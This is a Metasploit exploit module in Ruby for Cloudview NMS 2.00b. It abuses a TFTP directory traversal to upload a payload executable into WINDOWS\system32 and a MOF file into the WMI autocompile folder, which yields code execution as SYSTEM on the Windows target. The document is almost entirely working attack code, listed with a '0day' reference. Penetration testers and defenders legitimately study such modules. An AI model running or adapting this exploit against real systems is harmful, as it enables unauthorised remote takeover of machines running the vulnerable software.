Cloudview NMS 2.00b Writable Directory Traversal Execution

`require 'msf/core'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Rex::Proto::TFTP  
include Msf::Exploit::EXE  
include Msf::Exploit::WbemExec  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "Cloudview NMS 2.00b Writable Directory Traversal Execution",  
'Description' => %q{  
This module exploits a vulnerability found in Cloudview NMS server. The  
software contains a directory traversal vulnerability that allows a remote  
attacker to write arbitrary file to the file system, which results in  
code execution under the context 'SYSTEM'.  
},  
'License' => MSF_LICENSE,  
'Author' => [ 'james fitts' ],  
'References' =>  
[  
['URL', '0day']  
],  
'Payload' =>  
{  
'BadChars' => "\x00",  
},  
'DefaultOptions' =>  
{  
'ExitFunction' => "none"  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ ' Cloudview NMS 2.00b on Windows', {} ]  
],  
'Privileged' => false,  
'DisclosureDate' => "Oct 13 2014",  
'DefaultTarget' => 0))  
  
register_options([  
OptInt.new('DEPTH', [ false, "Levels to reach base directory", 5 ]),  
OptAddress.new('RHOST', [ true, "The remote TFTP server address" ]),  
OptPort.new('RPORT', [ true, "The remote TFTP server port", 69 ])  
], self.class)  
end  
  
def upload(filename, data)  
tftp_client = Rex::Proto::TFTP::Client.new(  
"LocalHost" => "0.0.0.0",  
"LocalPort" => 1025 + rand(0xffff-1025),  
"PeerHost" => datastore['RHOST'],  
"PeerPort" => datastore['RPORT'],  
"LocalFile" => "DATA:#{data}",  
"RemoteFile" => filename,  
"Mode" => "octet",  
"Context" => {'Msf' => self.framework, "MsfExploit" => self },  
"Action" => :upload  
)  
  
ret = tftp_client.send_write_request { |msg| print_status(msg) }  
while not tftp_client.complete  
select(nil, nil, nil, 1)  
tftp_client.stop  
end  
end  
  
def exploit  
peer = "#{datastore['RHOST']}:#{datastore['RPORT']}"  
  
exe_name = rand_text_alpha(rand(10)+5) + '.exe'  
exe = generate_payload_exe  
mof_name = rand_text_alpha(rand(10)+5) + '.mof'  
mof = generate_mof(mof_name, exe_name)  
  
depth = (datastore['DEPTH'].nil? or datastore['DEPTH'] == 0) ? 10 : datastore['DEPTH']  
levels = "../" * depth  
  
print_status("#{peer} - Uploading executable (#{exe.length.to_s} bytes)")  
upload("#{levels}WINDOWS\\system32\\#{exe_name}", exe)  
  
select(nil, nil, nil, 1)  
  
print_status("#{peer} - Uploading .mof...")  
upload("#{levels}WINDOWS\\system32\\wbem\\mof\\#{mof_name}", mof)  
end  
end  
  
  
`